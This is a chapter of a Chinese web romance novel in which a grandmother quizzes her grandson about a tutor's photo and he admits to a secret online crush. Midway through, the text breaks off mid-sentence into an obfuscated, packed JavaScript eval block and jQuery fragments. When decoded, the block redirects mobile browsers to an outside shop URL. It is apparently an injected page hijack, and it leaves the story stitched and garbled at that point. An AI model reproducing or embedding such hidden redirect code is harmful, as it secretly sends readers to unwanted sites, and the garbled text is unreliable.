34. Chapter 034

作品:《网恋对象住隔壁

    照片将十五岁的乐落定格下来。


    彼时她微扬起下巴,望进摄像头的那双眸子,藏着灵动与明媚,漂亮而自知。


    汀奶奶从红色小手包里拿出老花镜,手机拿远,看清小姑娘后,又一阵左看右看,爱不释手了好一阵。


    又抬头看自家孙子一眼,笑得合不拢嘴:“般配般配般配。”


    汀砚不敢与长辈顶嘴,脑袋偏过去,扭到窗外。


    只留下一个沉默的后脑勺,来抗议汀奶奶乱点鸳鸯谱的行为。


    谢毅衡在旁边不忘添油加醋:“我也觉得奶奶,我草哥长这么帅,这大学霸长得也漂亮极了,这俊男靓女朝夕相处一个月,怎么样都能擦出不一样的火花。”


    汀老爷子转过头:“我也看一下。”


    汀奶奶把手机屏幕转过去:“怎么样?是不是很漂亮?”


    汀老爷子短促地“嗯”一声,话题回到学习上:“这就是教草草的小老师吗?是听建宏说是个省状元,怎么看样子比草草还小。”


    汀砚心里赞同,毕竟他一开始也把人当妹妹。


    汀老爷子同汀建宏一样,对学历尊崇,当下就同意了这门婚事。


    脖子又朝着后方伸了几分,跟着加入了八卦中:“她叫什么名字?”


    谢毅衡接得极快:“乐落。”


    “好名字。”汀老爷子赞许:“月落乌啼霜满天,挺有意境,看来家里的长辈也都是文化人。”


    汀砚没忍住:“别人家里取名都是从诗句里选,咱们家里取名靠算命先生。”


    汀老爷子连连摇头:“草草只是小名,你的大名可是我和你爹翻一个月字典找出来的字。”


    谢毅衡比汀砚更好奇:“爷爷,有什么说法吗?”


    汀老爷子娓娓道来:“砚本意是写毛笔字磨墨用的工具,多数用石头做成,我这一辈子都和砚台打交道,儿子是没希望了,只希望孙子能传承我的衣钵,以后村里写春联,也不至于找不到人。”


    汀砚理亏着沉默。


    谢毅衡笑的很大声:“草哥那手字,也能辟邪,我们小学老师都说他写字自成一派,是抽象艺术家。”


    汀砚瞪了他一眼。


    汀老爷子悠悠叹了一口气,又继续:“砚字本义是光滑的石头,当做人名寓意为处事有耐心,做事不放弃的意思,也是希望他成为持之以恒的人。”


    印象里,汀砚好像对这些话有点印象,但估计年岁已远,再加上年龄小,并不能充足体验到老一辈的希冀。


    后来他的字在抽象的路上策马奔腾,又是个屁股暖不热板凳的心性,就再没听到汀老爷子说过这些。


    谢毅衡听得津津有味:“原来还有这层意思,平时光叫草哥,都快忘了草哥还有大名。”


    汀砚翻了个白眼,却是不敢贸然开口,努力扮演透明人的角色。


    汀奶奶可不允许他沉默,将话题扯了回来:“草草啊,你怎么不说话?到底是什么情况?要是有困难,可别憋在心里,说出来,大家都会给你出谋划策。”


    汀砚扭过头,勉强挤出一丝笑:“奶奶,我只想好好学习,其余什么都不想。”


    “你现在这个年龄,只能是恋爱和学习两手抓,两人都不能耽误。”汀奶奶语重心长道。


    汀砚从来没这么热爱过学习:“奶奶,现在是人生的关键阶段,至少得等我高考之后,才有精力想这些杂事。”


    “怎么能说这是杂事呢?”


    汀奶奶听得直摇头:“我看你是被洗脑了,可别光听你爹说学习是最重要的,还等高考之后,按你爹的想法还想让你考博士呢,十年八年对你算不了什么,可对奶奶来说,影响可大了。”


    汀砚听见她叹气,选择性回应:“奶奶您说什么呢,别说十年八年,就算二十年,也影响不了您。”


    汀奶奶只笑,轻拍着她的手背:“到了奶奶这个年纪,你就知道,这人生啊,比学习重要的事多了去。”


    王叔笑着点头:“你奶奶说得没错,比学习重要的事太多了,等你长大就知道了。”


    汀砚这才知道当初被他错喊成小不点时,乐落为何有那么大反应。他同样也不喜欢小孩的标签:“叔,下一年我就成年了,不用等长大了,我已经长大了。”


    王叔只笑没说话。


    汀奶奶截住他的话:“既然是长大了,就该考虑的长远,大孩子就该做大孩子该做的事。”


    汀砚知道这个话题轻易绕不过去:“人家不喜欢我。”


    实事求是,他可没说话,话一出底气十足。


    汀奶奶脸上是果然的神情:“这很正常,你千万别有什么消极的情绪,女孩子都矜持,像你爷爷,你王叔,包括你爸爸,都是主动的那方,男孩子就要有男孩子的担当,可别在这件事上计较。”


    越听越离谱。


    汀砚无奈地解释:“奶奶,不是这么一回事。”


    汀奶奶看他:“怎么了?你是有喜欢的人吗?”


    直击要害。


    汀砚的眼神闪躲了两下,几乎冲动之下,都要将自己网恋的事一股脑说出来。


    就看见谢毅衡突然瞪大的眼睛,他才找回了理智,哪怕是汀建宏都担心他上当受骗,汀奶奶这个年龄更接受不了。


    沉默片刻。


    在对面期待的目光中,他用了蒙太奇的手法,将这口锅甩在不在场的当事人上:“是她有喜欢的人。”


    “是吗?”汀奶奶的眼神瞬间黯淡,又看了一眼照片:“好可惜。”


    谢毅衡小声地嘟囔:“骗人的吧?这可是省状元,考了破纪录的高分,肯定是那种一门心思扑在学习上的狠人,怎么可能在高中谈恋爱。”


    汀奶奶的眼神重新燃起火光。


    汀砚咬着后槽牙:“谢毅衡?!”


    “奶奶!”谢毅衡边叫边朝汀奶奶身后躲。


    汀奶奶打着配合:“草草,衡衡只是推测,你慌什么?是被说中了吗?”


    汀砚耐着性子:“奶奶您别听他瞎说,他压根不了解情况。”


    “是你不了解情况。”汀奶奶看他反应,知道这件事还有迂回的可能:“你听奶奶给你讲。”


    “像你这么大的时候,你爸都追你妈一年了,也多亏你爸机灵,不像别人扭扭捏捏,追你妈两年,第三年的时候你妈才同意谈对象,第五年刚求婚成功,第六年结婚,第八年才有了你姐。”


    汀奶奶拉着他的手,温柔地讲起父母辈的故事。


    汀砚没办法,把求救的眼神投向前方。


    汀老爷子到底是向着孙子,接受成功:“什么时候做合适的事,草草说得也没错,现阶段最重要的是高考,还剩一年,再等等也不迟。”


    汀砚忙点头:“是啊,爷爷说得没错。”


    “别听你爷爷的。”汀奶奶一锤定音,一个眼神让汀老爷子知道谁是当家人:“我和你爷爷搞对象都搞了五年,往上数汀家的长辈也都是好多年才修成正果,一代更比一代长。”


    汀砚笑得很勉强。


    汀奶奶继续道:“你爸六年才修成正果,就算


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16981539|191647||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你七年,现在开始到二十四岁才能开出爱情的花骨朵。”


    汀砚有气无力地闭眼,凭着本能在反驳:“奶奶不是这么算的。”


    汀奶奶拉着他的手,一副过来人的模样:“乖孙孙,奶奶什么时候骗过你,你就听奶奶的话,就算有情敌,也要支棱起来,公平竞争不丢人,输了才丢人。”


    汀砚撑不住了:“您别担心,我有喜欢的人。”


    汀奶奶听见这话,有瞬间可惜,但还是依着孙子喜好:“真的吗?是你学校的吗?”


    汀砚含糊道:“差不多。”


    汀奶奶掩不住好奇:“有没有照片?”


    “没。”汀砚摊手。


    汀奶奶回过头:“衡衡有没有?”


    谢毅衡听这意思,不用细想,也知道汀砚说的是谁。


    他极其不信赖“黑月亮”这个网友,汀砚从初二暑假结识到如今,对名字年龄甚至性别都三缄其口,更别提其他,聊天也都是爱好书籍歌曲,这类意识流的东西。


    在他眼里,汀砚在感情方面完全是小白,遇到“黑月亮”这种恋爱高手,三两句就被人牵着鼻子走,没有半点抵抗力。


    他就这一个发小,平时插科打诨,他一声一个草哥,平时喊谁都是连名带姓,打心底把汀砚当作自己的亲哥。


    所以,他绝不允许汀砚被人玩弄股掌之间,成为一只温水煮青蛙的那只青蛙。


    “没有奶奶。”谢毅衡无视对面的眼神,拍着胸脯打包票:“草哥估计在逗您玩,我们学校和草哥说的上话的女同学一把手都数得过来,我保证绝对没有这号人物。”


    闻言,汀奶奶视线又落到汀砚身上:“衡衡说的是真的?可不许逗奶奶玩。”


    汀砚索性破罐子破摔:“等明年,要是没差池的话,我把人给你带回家。”


    汀奶奶眼里还有疑虑,左看看右瞅瞅,夹在中间不知该相信谁。


    谢毅衡还想再说些什么。


    汀砚没给他机会:“奶奶,我什么时候骗过您。”


    这倒是,从小到大,黑就是黑白就是白,他从来不说谎话。


    汀奶奶听见这话,再没有了什么顾虑:“好好好,这才像我孙孙,闷声干大事。”


    汀砚忙打预防针:“这件事我爹还不知道,您也知道他的脾气,要是知道这件事肯定急得跳墙,在高考之前,您还得帮我保守秘密。”


    汀奶奶答应后,还不忘安排王阳和汀老爷子:“你们也都听见了,可别说漏嘴。”


    王阳笑着点头。


    汀老爷子才凑过来:“这姑娘学习怎么样?”


    “去去去。”汀奶奶嫌弃地朝他摆手:“学习学习,一天到晚全是学习,我看你们是学魔怔了!只要是草草喜欢,考零蛋又怎么样?”


    汀老爷子不敢吭气,连点头说是,还不忘坑自家儿子一把:“都是建宏整天唠叨,我可和他不一样,虽然是老同志,但思想完全不输年轻人!恋爱自由恋爱自由,只要喜欢不论千山万水!”


    汀奶奶这才满意:“知道就好。”


    她拉回视线,又拉起汀砚的手:“草草啊,既然找到喜欢的人,那就可以多放些心思在学习上,尽管高考没办法与谈恋爱相提并论,但也还是很重要,这一年多放些心思在学习上,尤其是别影响人家姑娘学习,等高考之后,爱情成绩双丰收,皆大欢喜。”


    谢毅衡刚小声哼哼了两声,话到了嘴边,被汀砚一个冷眼瞪了回去。


    “放心。”汀砚反握住汀奶奶的手:“我有分寸。”